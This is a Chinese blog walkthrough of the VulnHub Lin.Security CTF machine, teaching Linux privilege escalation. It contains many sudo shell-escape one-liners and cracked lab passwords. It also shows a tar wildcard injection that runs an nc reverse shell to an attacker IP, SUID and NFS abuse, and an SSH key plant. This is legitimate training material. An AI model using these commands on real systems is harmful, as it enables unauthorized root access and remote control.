VulnHub-Lin.Security: 1-靶机渗透学习

靶机地址:https://www.vulnhub.com/entry/linsecurity-1,244/ 靶机难度:中级(CTF) 靶机发布日期:2018年7月11日 靶机描述: 在in.security,我们想要开发一个Linux虚拟机,该虚拟机在编...

靶机地址:https://www.vulnhub.com/entry/linsecurity-1,244/

靶机难度:中级(CTF)

靶机发布日期:2018年7月11日

靶机描述:

在in.security,我们想要开发一个Linux虚拟机,该虚拟机在编写本文时基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,这些漏洞使用户无法升级。扎根在盒子上。旨在帮助理解某些内置应用程序和服务(如果配置错误)可能会被攻击者滥用。

我们已将框配置为模拟真实世界的漏洞(尽管位于单个主机上),这将帮助您完善本地特权升级技能,技术和工具集。从相当容易到中级都有许多挑战,我们很高兴看到您用来解决这些挑战的方法!

该图像不到1.7 GB,可以使用上面的链接下载。打开OVA文件时,将导入并使用NAT适配器配置名为lin.security的VM,但是可以通过首选虚拟化平台的首选项将其更改为桥接。

首先,您可以使用以下凭据登录主机:bob / secret

目标:得到root权限

作者:DXR嗯嗯呐


信息收集

nmap扫描靶机地址

根据上面的提示这里靶机存在很多风险,应该是考linux提权方面,我们开始测试

他给出了bob用户,首先用此用户登陆看看

方法一:sudo提权

bob用户具备sudo权限

这里介绍一个关于linux提权的网站,都是精华。

ash

一个简单的轻量级的 Shell,占用资源少,适合运行于低内存环境,但是与下面讲到的 bash shell 完全兼容。

Sudo ash

awk

一个强大的文本分析工具,相对于grep的查找,sed的编辑,awk在其对数据分析并生成报告时,显得尤为强大。简单来说awk就是把文件逐行的读入,以空格为默认分隔符将每行切片,切开的部分再进行各种分析处理。

sudo awk 'BEGIN {system("/bin/sh")}'

bash

bash shell 是 Linux 的默认 shell,本教程也基于 bash 编写。bash 由 GNU 组织开发,保持了对 sh shell 的兼容性,是各种 Linux 发行版默认配置的 shell。

sudo bash

csh

sh 之后另一个广为流传的 shell 是由柏克莱大学的 Bill Joy 设计的,这个 shell 的语法有点类似C语言,所以才得名为 C shell ,简称为 csh。

sudo csh

curl

在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称curl为下载工具。

sudo curl

dash

原来bash是GNU/Linux 操作系统中的 /bin/sh 的符号连接,但由于bash过于复杂,有人把 bash 从 NetBSD 移植到 Linux 并更名为 dash,且/bin/sh符号连接到dash。Dash Shell 比 Bash Shell 小的多(ubuntu16.04上,bash大概1M,dash只有150K),符合POSIX标准。Ubuntu 6.10开始默认是Dash。

sudo dash

ed

Linux ed命令是文本编辑器,用于文本编辑。

ed是Linux中功能最简单的文本编辑程序,一次仅能编辑一行而非全屏幕方式的操作。

ed命令并不是一个常用的命令,一般使用比较多的是vi 指令。但ed文本编辑器对于编辑大文件或对于在shell脚本程序中进行文本编辑很有用。

sudo ed

!/bin/sh

env

查询环境变量

sudo env /bin/sh

expect

expect是一个自动化交互套件,主要应用于执行命令和程序时,系统以交互形式要求输入指定字符串,实现交互通信。

sudo expect -c 'spawn /bin/sh;interact'

find

Linux find 命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则 find 命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。

sudo find . -exec /bin/sh \; -quit

ftp

Linux ftp命令设置文件系统相关功能。

FTP是ARPANet的标准文件传输协议,该网络就是现今Internet的前身。

sudo ftp

!/bin/sh

Less

less 与 more 类似,但使用 less 可以随意浏览文件,而 more 仅能向前移动,却不能向后移动,而且 less 在查看之前不会加载整个文件。

sudo less /etc/passwd

!/bin/sh

Man

Linux提供了丰富的帮助手册,当你需要查看某个命令的参数时不必到处上网查找,只要man一下即可。可以使用man man 查看man的使用方法。

Sudo man man

!/bin/sh

More

Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。

Sudo more /etc/passwd

!/bin/sh

Scp

Linux scp 命令用于 Linux 之间复制文件和目录。

scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。

scp 是加密的,rcp 是不加密的,scp 是 rcp 的加强版。

TF=$(mktemp)

echo 'sh 0<&2 1>&2' > $TF

chmod +x "$TF"

sudo scp -S $TF x y:

socat

socat是一个多功能的网络工具,名字来由是“Socket CAT”,可以看作是netcat的N倍加强版。

sudo socat stdin exec:/bin/sh

ssh

SSH(远程连接工具)连接原理:ssh服务是一个守护进程(demon),系统后台监听客户端的连接,ssh服务端的进程名为sshd,负责实时监听客户端的请求(IP 端口),包括公共秘钥等交换等信息。

sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

vi

vi 编辑器是 Linux/UNIX 环境下经典的编辑器

sudo vi -c ':!/bin/sh' /dev/null

zsh

Zsh属于Shell中的一种,但比Bash好用,而且完全兼容Bash,拥有及其丰富的插件、强大的自动补全能力、以及自定义功能,可以大大提供我们使用Linux的效率.

sudo zsh

pico

Linux pico命令用于编辑文字文件。

pico是个简单易用、以显示导向为主的文字编辑程序,它伴随着处理电子邮件和新闻组的程序pine而来。

sudo pico

^R^X

reset; sh 1>&0 2>&0

rvim

改进的Vi,一个程序员的文本编辑器

这需要rvim使用Python支持进行编译。前置:py3为Python 3。

sudo rvim -c ':python3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

perl

Perl一种功能丰富的计算机程序语言,运行在超过100种计算机平台上,适用广泛,从最初是为文本处理而开发的,现在用于各种任务,包括系统管理,Web开发,网络编程,GUI开发等。

Perl易于使用、高效、完整,而不是美观(小巧,优雅,简约)。同时支持过程和面向对象编程,对文本处理具有强大的内置支持,并且拥有第三方模块之一。 [1]? Perl借取了C、sed、awk、shell脚本语言以及很多其他程序语言的特性,其中最重要的特性是它内部集成了正则表达式的功能,以及巨大的第三方代码库CPAN。

sudo perl -e 'exec "/bin/sh";'

tclsh

tclsh的是含有Tcl解释简单的壳体和可以读取它的标准输入或从文件Tcl命令,并评估它们。

Tcl是一种脚本语言,是一种基于字符串的命令语言,是一种解释性语言。所谓解释性是指不像其他高级语言需要通过编译和联结,而与其他Shell语言一样,直接对每条语句顺序解释执行。

sudo tclsh

exec /bin/sh <@stdin >@stdout 2>@stderr

git

一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。

sudo git -p help config

!/bin/sh

script

script 是一个神奇命令,script 能够将终端的会话过程录制下来,然后使用 scriptreplay 就可以将其录制的结果播放给他人观看。script 的好处就在于你在终端中的所有操作、敲过的命令和打印出的结果它都可以原原本本地进行录制。可以应用于教学、演示、审计。

sudo script -q /dev/null

方法二:hash密码破解

在想在linux系统中,用户hash加密的密码存储在/etc/shadow中。如果我们查看/etc/passwd,可以看到以下内容

root:x:0:0:root:/root:/bin/bash

字段

含义

用户名

用户登录系统是使用的用户名

密码

密码位

UID

用户表示号

GID

缺省组标识号

注释性描述

例如存放用户全名等信息

宿主目录

用户登录系统后的缺省目录

命令解释器

用户使用的shell,默认为bash

在靶机是发现passwd文件中存储hash密码

使用john或hashcat进行破解

获得账号密码

insecurity/P@ssw0rd

方法三:通配符提权值之tar命令注入

tar命令注入

查看发现靶机中存在一个root权限的每分钟执行一次的定时任务

看这个脚本的内容,发现使用tar命令分别备份home下的目录

我们进入bob用户的家目录

先在kail上生成一个反弹shell

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.56.3 lport=6666

在bob目录下,注入一个标志来指定我们的检查点

echo "" > --checkpoint=1

  • --checkpoint=n:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,

将payload写入一个sh文件

echo "mkfifo /tmp/ujwa; nc 192.168.56.3 6666 0</tmp/ujwa | /bin/sh >/tmp/ujwa 2>&amp1; rm /tmp/ujwa" > shell.sh

注入一个指定检查点动作的标志

echo "" > "--checkpoint-action=exec=sh shell.sh"

  • –checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION
  • --checkpoint-action指定exec:执行外部命令

等待一分钟,我们看到了备份文件时间更新了

反弹shell,获得root权限

关于通配符提权,这篇文章写得非常精细,参考。

方法四:SID提权

find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null

查询具备SID权限文件

xxd

xxd 命令用于使用二进制或十六进制格式显示文件内容,可以将指定文件或标准输入以十六进制转储,也可以把十六进制转储转换成原来的二进制形式。

使用xxd命令读取shadow

使用john解码获得root密码

root/secret123

taskset

taskset命令用于设置进程(或 线程)的处理器亲和性(Processor Affinity),可以将进程(或 线程)绑定到特定的一个 或 多个CPU上去执行,而不允许将进程(或 线程)调度到其他的CPU上。

taskset 1 /bin/sh -p

方法五:NFS提权

前面nmap端口扫描,发现靶机存在nsf服务

showmount 查看一下网络共享文件夹

挂着此网络目录

mount -t nfs 192.168.56.10:/home/peter /tmp/nfs/

看到root可以直接访问root目录,但是不能将文件直接拷贝到网络共享目录中

看到目录文件拥有者是test2,看来/home/peter拥有者的UID是1001,那我们修改一下test2用户的GID

groupmod -g 1005 test2

我们看到了nfs网络共享目录的所属组改为test2

创建ssh秘钥

使用test2,将公钥复制到nfs/.ssh目录中并将名称修改为authorized_keys

cp /tmp/authorized_keys authorized_keys

使用秘钥连接

ssh -i id_rsa peter@192.168.56.10

检查发现peter用户具备sudo权限,使用strace提权

strace

strace常用来跟踪进程执行时的系统调用和所接收的信号。在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通 过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。

sudo strace -o /dev/null /bin/sh

总结

这是对linux提权的总结,真的很丰盛,学习到了。

1sudo提权的总结。

2hash密码的破解。

3chown文件劫持及通配符提权之tar命令提权。

4SID提权。

5NFS网络共享文件提权。


  • 发表于 2021-04-20 15:03
  • 阅读 ( 323 )
  • 分类:互联网

0 条评论

请先 登录 后评论
tl602
tl602

727 篇文章

你可能感兴趣的文章

相关问题